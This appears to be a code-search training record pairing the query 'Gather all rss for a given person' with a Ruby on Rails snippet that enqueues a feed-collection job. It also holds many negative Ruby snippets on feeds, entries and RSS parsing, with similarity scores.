"def create\n @datafeed = Datafeed.new(params[:datafeed])\n\n respond_to do |format|\n if @datafeed.save\n flash[:notice] = 'Datafeed was successfully created.'\n format.html { redirect_to(@datafeed) }\n format.xml { render :xml => @datafeed, :status => :created, :location => @datafeed }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @datafeed.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def entries\n uri = URI(BASE_URL + ENTRIES_ENDPOINT + days_query)\n\n make_request(uri)\n end",
"def create\n @feed = Feed.new(params[:feed])\n\n respond_to do |format|\n if @feed.save\n format.html { redirect_to @feed, notice: 'Feed was successfully created.' }\n format.json { render json: @feed, status: :created, location: @feed }\n else\n format.html { render action: \"new\" }\n format.json { render json: @feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n tag_group_id = params[:feed][:tag_group_id]\n @tag_group = TagGroup.find_by_id tag_group_id\n\n @feed = @tag_group.feeds.create(params[:feed])\n\n respond_to do |format|\n if @feed.save\n format.html { redirect_to @tag_group, notice: 'Feed was successfully created.' }\n format.json { render json: @feed, status: :created, location: @feed }\n else\n format.html { render action: \"new\" }\n format.json { render json: @feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def feed_params\n params.require(:feed).permit(:user_id, :feed_name, :feed_url, :feed_entries, :tag_list)\n end",
"def fetch!\n parsed_feed = FeedNormalizer::FeedNormalizer.parse open(self.feed_url)\n \n self.update_attributes( :title => parsed_feed.title,\n :url => parsed_feed.url\n #:etag => parsed_feed.etag\n #:last_modified => parsed_feed.last_modified\n )\n \n parsed_feed.entries.each do |entry|\n self.entries.create(:url => entry.url,\n :title => entry.title,\n :author => entry.author,\n #:summary => entry.summary,\n :content => entry.content\n #:published => entry.published\n #:categories => entry.categories\n ) if !Entry.find_by_url(entry.url)\n end\n end",
"def create\n require 'feedzirra'\n feed = parse_feed params[:new_podcast_url]\n feed.sanitize_entries! # let's make sure this actually makes things usable'\n\n # Make the podcast entry\n @podcast = Podcast.new(\n :title => feed.title,\n :url => params[:new_podcast_url]\n )\n\n if @podcast.save\n feed.entries.each do |entry|\n song = Song.new(\"title\" => entry.title, \"location\" => entry.url, \"artist\" => entry.author, \"album\" => feed.title)\n song.audio = @podcast\n song.save! # TODO add exception handling\n end\n end\n\n respond_to do |format|\n if @podcast.blank?\n format.json { render json: @podcast.songs.to_json }\n format.html { redirect_to :songs_dashboard, notice: 'Podcast was successfully created.' }\n else\n format.json { render json: @podcast.errors }\n format.html { render action: \"new\" }\n end\n end\n end",
"def new_rest\n @entry_item = EntryItem.new\n\n respond_to do |format|\n #format.html # new.html.erb\n format.xml { render :xml => @entry_item }\n end\n end",
"def parse_feed\n remove_previous_entries\n @items = @content[\"rss\"][\"channel\"][\"item\"]\n if !@items.nil?\n for item in @items do\n item[\"pubDate\"] ||= \"\"\n item[\"creator\"] ||= \"\"\n item[\"guid\"] ||= \"\"\n item[\"title\"] ||= \"\"\n item[\"description\"] ||= \"\"\n clean_content(item[\"encoded\"] ||= \"\")\n item[\"link\"] ||= \"\"\n params = { \n :pubdate => item[\"pubDate\"], \n :creator => item[\"creator\"], \n :guid => relative_link(item[\"guid\"]), \n :title => item[\"title\"], \n :description => item[\"description\"], \n :content => @content, \n :link => relative_link(item[\"link\"])\n }\n insert_entry(params)\n end\n end\n end",
"def create\n @feed = Feed.new(feed_params)\n\n respond_to do |format|\n if @feed.save\n format.html { redirect_to @feed, notice: 'Feed was successfully created.' }\n format.json { render :show, status: :created, location: @feed }\n else\n format.html { render :new }\n format.json { render json: @feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def feed\r\n @posts = Post.all(:order => \"created_at DESC\")\r\n respond_to do |format|\r\n format.rss\r\n end\r\n end",
"def post(opts = {})\n return ':data argument not provided' unless opts[:data]\n \n type = opts[:type] || Names::AtomEntryMediaType\n @invoker = Poster.new(@uri, @authent)\n @invoker['Slug'] = opts[:slug] if opts[:slug]\n \n if @invoker.post(type, opts[:data]) \n @invoker.entry \n else\n @invoker.last_error \n end\n end",
"def feed\n @posts = Post.feed_of(params[:id])\n end",
"def create\n @entry = Entry.new(entry_params)\n if @entry.valid?\n @entry.save\n render json: @entry, status: :created\n # , location: @entry\n else\n render json: @entry.errors, status: :unprocessable_entity\n end\n end",
"def index\n @entries = Entry.all;\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end",
"def entries\n Entry.where(:feed_id => pk)\n end",
"def create\n @entry = Entry.new(params[:entry])\n\n respond_to do |format|\n if @entry.save\n format.html { redirect_to(:action => :index, :notice => 'Entry was successfully created.') }\n format.xml { render :xml => @entry, :status => :created, :location => @entry }\n else\n format.html do\n @entries = Entry.find_all_by_time params[:date]\n render :action => \"index\"\n end\n format.xml { render :xml => @entry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def feed_entries(feed, include_read: false, page: nil)\n EntriesPagination.feed_entries feed, self, include_read: include_read, page: page\n end",
"def index\n @entries = Entry.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end",
"def index\n @entries = Entry.order('created_at DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end",
"def build_post_from_entry(entry, action)\n date = if (action == Service::SERVICE_ACTION_POST) || (self.posts.count == 0)\n entry[:pubDate]\n else\n Time.current\n end\n\n self.posts.build(\n :summary => (entry[:description].blank? ? '-' : entry[:description]),\n :service_action => action,\n :identifier => entry[:guid].to_s,\n :title => entry[:title],\n :markup => Post::PLAIN_MARKUP,\n :url => entry[:link],\n :published_at => date,\n :extra_content => {\n :author_name => entry[:author_name],\n :original_tags => entry[:categories] # array de tags\n }\n )\n end",
"def create\n @entry = Entry.new({\n content: params[:entry][:content],\n journal_id: params[:entry][:journal_id]\n })\n\n respond_to do |format|\n if @entry.save\n format.html { redirect_to \"/entries/#{@entry.id}\" }\n format.json { render :show }\n else\n format.html { render :new }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @entry = Entry.new(entry_params)\n\n respond_to do |format|\n if @entry.save\n format.html { redirect_to @entry, notice: 'Entry was successfully created.' }\n format.json { render :show, status: :created, location: @entry }\n else\n format.html { render :new }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @entry = Entry.new(params[:entry])\n\n respond_to do |format|\n if @entry.save\n format.html { redirect_to entries_path, notice: 'Entry was successfully created.' }\n format.json { render json: @entry, status: :created, location: @entry }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n url = params[:feed][:url]\n @feed = Feed.find_by_url(url) || Feed.new(url: url)\n @feed.fetch\n\n respond_to do |format|\n if @feed.save\n current_user.feeds << @feed unless current_user.feeds.include? @feed\n format.html { redirect_to @feed, notice: 'Feed was successfully added.' }\n format.json { render action: 'show', status: :created, location: @feed }\n else\n format.html { render action: 'new' }\n format.json { render json: @feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @feed = Feed.new(params[:feed])\n\n if @feed.save\n redirect_to @feed, notice: 'Feed was successfully created.'\n else\n render action: \"new\"\n end\n end",
"def entries=(new_entries)\n for entry in new_entries\n unless entry.kind_of? FeedTools::FeedItem\n raise ArgumentError,\n \"You should only add FeedItem objects to the entries array.\"\n end\n end\n @entries = new_entries\n end",
"def create\n @feed = Feed.new(params[:feed])\n @feed.parent = @parent_node\n\n respond_to do |format|\n if @feed.save(user: current_user)\n format.html { render 'admin/shared/create' }\n format.xml { render xml: @feed, status: :created, location: @feed }\n else\n format.html { render template: 'admin/shared/new', locals: { record: @feed }, status: :unprocessable_entity }\n format.xml { render xml: @feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @feed = Feed.new(feed_params)\n\n respond_to do |format|\n if @feed.save\n format.html { redirect_to authenticated_root_path, notice: 'Feed was successfully created.' }\n format.json { render :show, status: :created, location: @feed }\n else\n format.html { render :new }\n format.json { render json: @feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_entries(doc)\n return nil\n end",
"def posts_feed\n\n init_posts_feed\n\n end",
"def build_post_from_entry(entry)\n self.posts.build(\n :summary => entry[:description],\n :service_action => Service::SERVICE_ACTION_POST,\n :identifier => entry[:guid].to_s,\n :title => entry[:title],\n :markup => Post::PLAIN_MARKUP,\n :url => entry[:link],\n :published_at => entry[:pubDate]\n )\n end",
"def create\n if params[:newsletter_id]\n nl = SemiStatic::Newsletter.find(params[:newsletter_id])\n @entry = nl.tag.entries.build(entry_params)\n @entry.save\n nl.add_entry(@entry, true)\n else\n @entry = Entry.new(entry_params)\n end\n\n respond_to do |format|\n if params[:convert]\n format.js { render 'convert'}\n elsif @entry.save\n expire_page_cache(@entry)\n if params[:newsletter_id]\n format.html { redirect_to edit_newsletter_path(params[:newsletter_id]) }\n else\n format.html { redirect_to entries_path(:anchor => \"entry_id_#{@entry.merged_main_entry.id}\", :page => page(@entry.merged_main_entry)) }\n format.json { render :json => @entry, :status => :created, :location => @entry }\n end\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @entry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_feed\n\n @service = Service.new(params[:service])\n respond_to do |format|\n if @service.save\n \n Pusher['post'].trigger('thing-create', @service.attributes)\n #@service.update_followers\n\n format.html { }\n format.xml { render :xml => @service }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @service }\n end\n end\n end",
"def create\n\n @entry = Entry.new(entry_params)\n\n respond_to do |format|\n\n if @entry.save\n format.html { redirect_to entries_path, notice: 'Entry was successfully created.' }\n format.json { render :show, status: :created, location: @entry }\n else\n @today_entries = Entry.where(\"date = ?\", Date.today)\n @yesterday_entries = Entry.where(\"date = ?\", Date.yesterday)\n format.html { render :action => :index }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def build_post_from_entry(entry)\n text = entry.text.gsub(/\\\\u([0-9a-zA-Z]{4})/) { |s| [$1.to_i(16)].pack(\"U\") }\n self.posts.build(\n :service_action => Service::SERVICE_ACTION_POST,\n :identifier => entry.id.to_s,\n :title => text,\n :markup => Post::HTML_MARKUP,\n :summary => text,\n :url => \"#{self.profile_url}/status/#{entry.id}\",\n :published_at => entry.created_at.to_time,\n :extra_content => {\n :original_tags => self.search_for_hashtags(text) # array de tags\n }\n )\n end",
"def create\n @populate_feed_info = PopulateFeedInfo.new(params[:populate_feed_info])\n\n respond_to do |format|\n if @populate_feed_info.save\n format.html { redirect_to(@populate_feed_info, :notice => 'PopulateFeedInfo was successfully created.') }\n format.xml { render :xml => @populate_feed_info, :status => :created, :location => @populate_feed_info }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @populate_feed_info.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @entry = Entry.new(entry_params)\n\n respond_to do |format|\n if @entry.save\n format.html { redirect_to @entry, notice: 'Entry was successfully created.' }\n format.json { render action: 'show', status: :created, location: @entry }\n else\n format.html { render action: 'new' }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def feed\n\n end",
"def post(message)\n OAuth2::AccessToken.new(OAuthClient, token).post('/me/feed', :message => message)\n end",
"def create\n @entry = Entry.new(params[:entry])\n\n respond_to do |format|\n if @entry.save\n format.html { redirect_to @entry, notice: 'Entry was successfully created.' }\n format.json { render json: @entry, status: :created, location: @entry }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @entry = Entry.new(params[:entry])\n\n respond_to do |format|\n if @entry.save\n format.html { redirect_to @entry, notice: 'Entry was successfully created.' }\n format.json { render json: @entry, status: :created, location: @entry }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @entry = Entry.new(params[:entry])\n\n respond_to do |format|\n if @entry.save\n format.html { redirect_to @entry, notice: 'Entry was successfully created.' }\n format.json { render json: @entry, status: :created, location: @entry }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def feed_params\n params.require(:feed).permit(:feed_text, :date, :feed_image)\n end",
"def posts\n posts = @client.entries(content_type: 'post').items\n posts || []\n end",
"def create\n @entry = Entry.new(entry_params)\n\n respond_to do |format|\n if @entry.save\n format.html { redirect_to @entry, notice: 'Entry was successfully created.' }\n format.json { render :show, status: :created, location: @entry }\n else\n format.html { render :new }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_feed_submission_list(params = {})\n response = \n get(\"/\", {\"Action\" => \"GetFeedSubmissionList\"}.merge(params))\n \n result = GetFeedSubmissionListResponse.format(response)\n end",
"def create\n @rss_feed = RssFeed.new(params[:rss_feed])\n\n respond_to do |format|\n if @rss_feed.save\n format.html { redirect_to @rss_feed, notice: 'Rss feed was successfully created.' }\n format.json { render json: @rss_feed, status: :created, location: @rss_feed }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rss_feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @rss_feed = RssFeed.new(params[:rss_feed])\n\n respond_to do |format|\n if @rss_feed.save\n format.html { redirect_to @rss_feed, notice: 'Rss feed was successfully created.' }\n format.json { render json: @rss_feed, status: :created, location: @rss_feed }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rss_feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_entries(doc,id_map = {})\n encounter_list = []\n entry_elements = doc.xpath(@entry_xpath)\n entry_elements.each do |entry_element|\n encounter = create_entry(entry_element, id_map={})\n if @check_for_usable\n encounter_list << encounter if encounter.usable?\n else\n encounter_list << encounter\n end\n end\n encounter_list\n end",
"def create\n @feed_element = FeedElement.new(params[:feed_element])\n\n respond_to do |format|\n if @feed_element.save\n format.html { redirect_to @feed_element, :notice => 'Feed element was successfully created.' }\n format.json { render :json => @feed_element, :status => :created, :location => @feed_element }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @feed_element.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def feed(params={})\n feeder = get_feed_node(params)\n augment_feeder_params(params)\n feeder.feed(params)\n end",
"def create\n @entry = Entry.new(entry_params)\n respond_to do |format|\n if @entry.save\n format.html { redirect_to [@blog, @entry], notice: 'Entry was successfully created.' }\n format.json { render :show, status: :created, location: [@blog, @entry] }\n else\n format.html { render :new }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def feed\n @feed_items = @repository.recent_feed_items\n respond_to do |format|\n format.html # feed.html.erb\n format.json { render json: @feed_items }\n end\n end",
"def feed\n expocodes = params[:expocodes].split(',')\n expocodes = [expocodes] unless expocodes.kind_of?(Array)\n\n @header = []\n @updates = []\n for expocode in expocodes\n @updates += Document.get_feed_documents_for(expocode)\n @updates += Event.get_feed_events_for(expocode)\n @header << \"(#{@updates.last.cruise.Line}) #{expocode}\"\n end\n\n @header = @header.join(',')\n\n @updates.sort do |a, b|\n a.feed_datetime() <=> b.feed_datetime()\n end\n\n respond_to do |format|\n format.atom\n end\n end",
"def create\n params[:entry].delete(\"freigeschaltet\")\n @entry = Entry.new(entry_params)\n @entry.user = current_user unless @entry.user_id.present?\n\n respond_to do |format|\n if @entry.save\n format.html { redirect_to @entry, notice: 'Eintrag erfolgreich erstellt.' }\n format.json { render json: @entry, status: :created, location: @entry }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def new\n @feed_entry = FeedEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feed_entry }\n end\n end",
"def create\n @content = params[:content]\n uri = URI.parse(\"https://api.renren.com/v2/feed/put\")\n response = Net::HTTP.post_form(uri, {:access_token => get_access_token, :message => @content, :title => \"来自事件侠\" , :description => \".\" , :targetUrl => 'http://www.baidu.com'})\n @rtn = response.body.force_encoding('UTF-8') \n # @rtn = query_renren(\"feed_put\") \n end",
"def new\n @feedentry = Feedentry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feedentry }\n end\n end",
"def associate_feed_entries\n feed_users = FeedUser.find_all_by_feed_id(self.feed_id)\n entry_list = []\n feed_users.each do |feed_user|\n feu = FeedEntryUser.new\n feu.feed_id = self.feed_id\n feu.feed_entry_id = self.id\n feu.user_id = feed_user.user_id\n entry_list.push(feu)\n end\n FeedEntryUser.import(entry_list)\n return true\n end",
"def entries_to_stdout entries\n feed = Atom::Feed.new\n\n entries.each do |entry|\n puts entry.inspect\n feed.entries << entry\n end\n\n puts feed.to_s\n end",
"def rss_entries(url)\n\t\tresponse = fetch(url)\n\t\tresponse[\"feed\"][\"entry\"]\n\tend"
] |
[
"0.65413153",
"0.64110947",
"0.63338536",
"0.632252",
"0.6309666",
"0.6291664",
"0.6263487",
"0.62322825",
"0.6198932",
"0.61660373",
"0.61660373",
"0.61660373",
"0.61660373",
"0.61290556",
"0.61201435",
"0.61101353",
"0.6048387",
"0.60270894",
"0.5977057",
"0.5966648",
"0.59449714",
"0.59318995",
"0.5898442",
"0.586178",
"0.5858582",
"0.5844557",
"0.5839788",
"0.5808379",
"0.57840043",
"0.57636636",
"0.57574487",
"0.57534593",
"0.57446617",
"0.5735788",
"0.57314277",
"0.5721358",
"0.57213223",
"0.570292",
"0.5700174",
"0.5695541",
"0.5692276",
"0.56883734",
"0.5683156",
"0.56569403",
"0.56392616",
"0.562587",
"0.5614155",
"0.56105244",
"0.56070256",
"0.5600808",
"0.55941606",
"0.55870175",
"0.5575803",
"0.5571766",
"0.5559805",
"0.55574405",
"0.5551527",
"0.5535972",
"0.5529667",
"0.5522391",
"0.55069613",
"0.55044675",
"0.5493437",
"0.54860824",
"0.54826355",
"0.54789966",
"0.5473613",
"0.54557866",
"0.5452722",
"0.5451803",
"0.544727",
"0.5446092",
"0.5441023",
"0.54381716",
"0.5432017",
"0.5430434",
"0.5429523",
"0.5426154",
"0.5421888",
"0.5421888",
"0.5421888",
"0.54163235",
"0.541557",
"0.54028964",
"0.53983563",
"0.5389998",
"0.5389998",
"0.53858125",
"0.53818655",
"0.5377689",
"0.5375936",
"0.5375406",
"0.5375396",
"0.5370394",
"0.5364997",
"0.5364102",
"0.5363446",
"0.5360583",
"0.5359869",
"0.53595525"
] |
0.6461824
|
1
|
Gather all rss for a given person
|
def collect_all_entries
person = Person.find(params[:id])
Delayed::Job.enqueue(CollectAllFeedEntriesJob.new(person.id))
respond_to do |format|
format.js do
render :update do |page|
flash[:notice] = 'FeedEntries will be collected. Around ' + person.statuses_count.to_s + ' Feed entries will be gathered.'
page.reload
end
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_all_entries\n @feed_entries = FeedEntry.find(:all, :conditions => { :person_id => self.id}, :order => 'published_at DESC')\n end",
"def get_userposts( user )\n posts = []\n url = \"http://feeds.delicious.com/rss/#{user}\"\n\n response = Net::HTTP.get_response(URI.parse(url)).body\n doc = REXML::Document.new(response)\n\n doc.elements.each(\"//item\") do |item|\n posts << { \"href\" => item.elements[\"link\"].text }\n end\n\n sleep 1\n return posts\n end",
"def get_urlposts( url )\n urlposts = []\n urlcode = Digest::MD5.hexdigest(url)\n url = \"http://feeds.delicious.com/rss/url/#{urlcode}\"\n\n response = Net::HTTP.get_response(URI.parse(url)).body\n doc = REXML::Document.new(response)\n\n doc.elements.each(\"//item\") do |item|\n urlposts << { \"user\" => item.elements[\"dc:creator\"].text }\n end\n\n sleep 1\n return urlposts\n end",
"def scrape\n\t\topen(@url) do |rss|\n\t\t\tfeed = RSS::Parser.parse(rss)\n\t\t\t@source_name = feed.channel.title\n\t\t\tfeed.items.each do |item|\n\t\t\t\tif date_valid?(item.pubDate) and item.title\n\t\t\t\t\tcreate_article(item.dc_creator, item.title, item.description,\\\n\t\t\t\t\t\t\"\", @source_name, item.pubDate.to_date, item.link)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t@articles\n\tend",
"def retrieve_posts\n # Get posts\n rss = RSS::Parser.parse(AWL_RSS_URL)\n\n # Grab shortened URLs\n links = rss.items.map(&:guid).map(&:content)\n\n @articles = []\n\n links.each do |link|\n @articles << Article.new(link)\n end\n\n # TODO: Only grab the tags for articles that haven't already be tweeted\n @articles.map(&:retrieve_tags)\n end",
"def scrape\n\t\topen(@url) do |rss|\n\t\t\tfeed = RSS::Parser.parse(rss)\n\t\t\tfeed.items.each do |item|\n\t\t\t\tif date_valid?(item.pubDate) and item.title\n\t\t\t\t\tcreate_article(@default_author, item.title, item.description,\\\n\t\t\t\t\t\t\"\", @source_name, item.pubDate.to_date, item.link)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t@articles\n\tend",
"def feed_for(name)\n find_articles(name) \n articles_to_list\n feed = @page.page_parts.where(name: 'feed').first\n process_with_filter(feed) \n end",
"def scrape\n articles = []\n url = 'http://feeds.news.com.au/heraldsun/rss/heraldsun_news_sport_2789.xml'\n\n open(url) do |rss|\n feed = RSS::Parser.parse(rss)\n feed.items.each do |item|\n articles << (interpret item)\n end\n end\n articles\n end",
"def get_rss\n all( :conditions => ['published_at IS NOT NULL'], :order => 'published_at DESC', :limit => per_page )\n end",
"def rss\n @logs = RssLog.includes(:name, :species_list, observation: :name).\n where(\"datediff(now(), updated_at) <= 31\").\n order(updated_at: :desc).\n limit(100)\n\n render_xml(layout: false)\n end",
"def read_rss\n query = \"http://news.google.ru/news?hl=ru&topic=#{@topic}&output=rss&ned=ru_ru&num=30&&scoring=n\"\n feed = Feedjira::Feed.fetch_and_parse(query)\n feed.entries.map do |entry|\n {\n uuid: SecureRandom.uuid,\n title: entry.title,\n url: entry.url.match(GOOGLE_URI_REGEX)[0],\n published_datetime: entry.published,\n published_unixtime: entry.published.to_i\n }\n end\n end",
"def scrape\n\t\topen(@url) do |rss|\n\t\t\tfeed = RSS::Parser.parse(rss)\n\t\t\t@source_name = feed.channel.title\n\t\t\tfeed.items.each do |item|\n\t\t\t\tif date_valid?(item.pubDate) and item.title\n\t\t\t\t\tcreate_article(get_author(item), item.title, item.description,\\\n\t\t\t\t\t\tget_images(item), @source_name, item.pubDate.to_date,\\\n\t\t\t\t\t\titem.link, get_image_length(item))\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t@articles\n\tend",
"def readrss(name, t) # finds url from database, parses it and returns an array\n if (t>5); return [\"http://www.justfuckinggoogleit.com\"]; end\n\n s = []\n url = $db.execute( \"select link from rss where name = ?\", name )\n i = RSS::Parser.parse(open(url.flatten.to_s), false)\n i.items.first(t).each do |it|\n s.push(it.title+\" - \"+it.link)\n end\n return s\nend",
"def rss\n render_rss_feed_for Announcement.find(:all, :order => 'created_at DESC',\n :limit => 10), {\n :feed => {\n :title => 'OpenMind New Announcements',\n :link => announcements_url,\n :pub_date => :created_at\n },\n :item => {\n :title => :headline,\n :description => :formatted_description,\n :link => Proc.new{|announcement| \"#{announcements_url}##{announcement.id}\" }\n }\n }\n end",
"def scrape\r\n @article_arr = []\r\n\t\turl = 'http://feeds.news.com.au/heraldsun/rss/heraldsun_news_technology_2790.xml'\r\n open(url) do |rss|\r\n \tfeed = RSS::Parser.parse(rss, false)\r\n \tputs \"Title: #{feed.channel.title}\"\r\n puts \"*********************************\"\r\n puts \" \"\r\n feed.items.each do |item|\r\n \t@article_arr << HSArticle.new(author: \"nil\", title: item.title.to_s.gsub(/,/,' ').gsub(/\"/,' ').gsub(/'s/,'s').gsub(/'/, ''), \r\n summary: item.description.to_s.gsub(/,/,' ').gsub(/\\\"/,'\\'').gsub(/'s/,''), images: item.enclosure.url, source: item.link,\r\n date: item.pubDate.to_s.gsub(/,/,'').gsub(/\\\"/,'\\'').gsub(/'s/,''))\r\n end\r\n end\r\n @articles.concat(@article_arr)\r\n end",
"def scrape\r\n @article_arr = []\r\n\t\turl = 'http://www.theage.com.au/rssheadlines/technology-news/article/rss.xml'\r\n open(url) do |rss|\r\n \tfeed = RSS::Parser.parse(rss, false)\r\n puts \" \"\r\n puts \"*********************************\"\r\n \tputs \"Title: #{feed.channel.title}\"\r\n puts \"--------------------------------\"\r\n feed.items.each do |item|\r\n \t@article_arr << AgeArticle.new(author: \"nil\", title: item.title.to_s.gsub(/,/,''), \r\n summary: (item.description).match(/\\<\\/p\\>[\\w ?,''\"\"]+/).to_s.gsub(/\\<\\/p\\>/,'').gsub(/,/,'').gsub(/\\\"/,''), \r\n images: (item.description).match(/http.+\\.(jpg|png)/), source: item.link, date: item.pubDate.to_s.gsub(/,/,''))\r\n end\r\n end\r\n @articles.concat(@article_arr)\r\n end",
"def rss # :nologin:\n @logs = RssLog.all(conditions: \"datediff(now(), updated_at) <= 31\",\n order: \"updated_at desc\", limit: 100,\n include: [:name,\n :species_list,\n { observation: :name }\n ])\n render_xml(layout: false)\n end",
"def parse_feed\n remove_previous_entries\n @items = @content[\"rss\"][\"channel\"][\"item\"]\n if !@items.nil?\n for item in @items do\n item[\"pubDate\"] ||= \"\"\n item[\"creator\"] ||= \"\"\n item[\"guid\"] ||= \"\"\n item[\"title\"] ||= \"\"\n item[\"description\"] ||= \"\"\n clean_content(item[\"encoded\"] ||= \"\")\n item[\"link\"] ||= \"\"\n params = { \n :pubdate => item[\"pubDate\"], \n :creator => item[\"creator\"], \n :guid => relative_link(item[\"guid\"]), \n :title => item[\"title\"], \n :description => item[\"description\"], \n :content => @content, \n :link => relative_link(item[\"link\"])\n }\n insert_entry(params)\n end\n end\n end",
"def rss\n\n # Get the specified user, making sure that it exists\n if !@user = User.find_by_login(params[:user_login])\n raise ActiveRecord::RecordNotFound\n end\n\n # If the everybody flag is set, respond with feed items about everybody\n # on Blavel\n # Otherwise, respond with feed items only about the people that the\n # current user is following\n @everybody = params[:everybody]\n if @everybody\n @feed_items = gather_feed_items\n else\n @feed_items = gather_feed_items(current_user)\n end\n\n rescue ActiveRecord::RecordNotFound => error\n logger.info error\n flash[:notice] = 'The user you requested does not exist.'\n redirect_to '/'\n end",
"def get_news_of_person(uri)\n articles = []\n q = \"SELECT *\n WHERE { ?article <http://www.semanticweb.org/ontologies/2011/10/moviesandtv.owl#talksAboutPerson> <#{uri}> }\"\n results = query(q)\n results.each do |result|\n result = Article.find_by_uri(result[:article].to_s)\n articles << result\n end\n return articles\n end",
"def rss\n @rss ||= build_rss\n end",
"def retrieve_data\n # Define the url\n url = 'http://www.abc.net.au/radionational/feed/3771046/rss.xml'\n\n # Open the url and parse the rss feed\n open(url) do |rss|\n # Start parsing\n feed = RSS::Parser.parse(rss, false)\n\n # Iterate each item and scrape information\n feed.items.each do |item|\n # If the title of thie article matches the title of the last saved article,\n # stop scraping to avoid from saving duplicates in database\n break if !@last_title.nil? && @last_title.eql?(item.title.to_s)\n\n # If thie article is already stored then ignore\n next if Article.find_by(title: item.title.to_s)\n\n # Get the author\n regex_author = /<dc:creator>(.*)<\\/dc:creator>/\n regex_author.match(item.to_s)\n author = Regexp.last_match(1)\n\n author = nil if author.eql? ''\n\n # Get categories values\n regex_category = /<category>(.*)<\\/category>/\n\n categories = []\n item.categories.each do |category|\n regex_category.match(category.to_s)\n categories.push(Regexp.last_match(1))\n end\n\n # Make a template dictionary to put @articles\n temp = {\n author: author,\n title: item.title,\n summary: item.description.to_s,\n image: nil,\n date_time: DateTime.parse(item.pubDate.to_s),\n link: item.link,\n categories: categories.join(',')\n }\n\n # Put the object into articles array\n @articles << temp\n end\n end\n end",
"def search_and_fetch_jobs\n feed = RSS::Parser.parse(open(target_url_with_query))\n feed.items.take(10)\n end",
"def rss\n @headers[\"Content-Type\"] = \"application/xml\"\n @articles = Article.find(:all, \n :order => 'created_at DESC',\n :conditions => [\"articles.approved = ?\", true],\n :limit => 10\n )\n render :layout => false\n end",
"def fetch_articles\n current_feed = get_rss_feed( self.url )\n current_feed.entries.each do |article|\n unless self.array_of_article_urls.include?(article.url)\n a = Article.new(title: article.title, url: article.url, clicks: 0)\n a.title ||= article.summary\n self.articles.push a \n end\n end\n\tend",
"def fetch_by_issn(issn)\r\n xml = fetch_xml(issn)\r\n\r\n\r\n results = BentoSearch::Results.new.concat(\r\n xml.xpath(\"./rdf:RDF/rss:item\", xml_ns).collect do |node|\r\n item = BentoSearch::ResultItem.new\r\n\r\n item.format = \"Article\"\r\n\r\n item.issn = issn # one we searched with, we know that!\r\n\r\n item.title = xml_text(node, \"rss:title\")\r\n item.link = xml_text(node, \"rss:link\")\r\n\r\n item.publisher = xml_text(node, \"prism:publisher\") || xml_text(node, \"dc:publisher\")\r\n item.source_title = xml_text(node, \"prism:PublicationName\")\r\n item.volume = xml_text(node, \"prism:volume\")\r\n item.issue = xml_text(node, \"prism:number\")\r\n item.start_page = xml_text(node, \"prism:startingPage\")\r\n item.end_page = xml_text(node, \"prism:endingPage\")\r\n\r\n # Look for something that looks like a DOI in dc:identifier\r\n node.xpath(\"dc:identifier\").each do |id_node|\r\n if id_node.text =~ /\\ADOI (.*)\\Z/\r\n item.doi = $1\r\n # doi's seem to often have garbage after a \"; \", especially\r\n # from highwire. heuristically fix, sorry, a real DOI with \"; \"\r\n # will get corrupted.\r\n if (parts = item.doi.split(\"; \")).length > 1\r\n item.doi = parts.first\r\n end\r\n\r\n break\r\n end\r\n end\r\n\r\n # authors?\r\n node.xpath(\"dc:creator\", xml_ns).each do |creator_node|\r\n name = creator_node.text\r\n name.strip!\r\n\r\n # author names in RSS seem to often have HTML entities,\r\n # un-encode them to literals.\r\n name = HTMLEntities.new.decode(name)\r\n\r\n\r\n item.authors << BentoSearch::Author.new(:display => name)\r\n end\r\n\r\n # Date is weird and various formatted, we do our best to\r\n # look for yyyy-mm-dd at the beginning of either 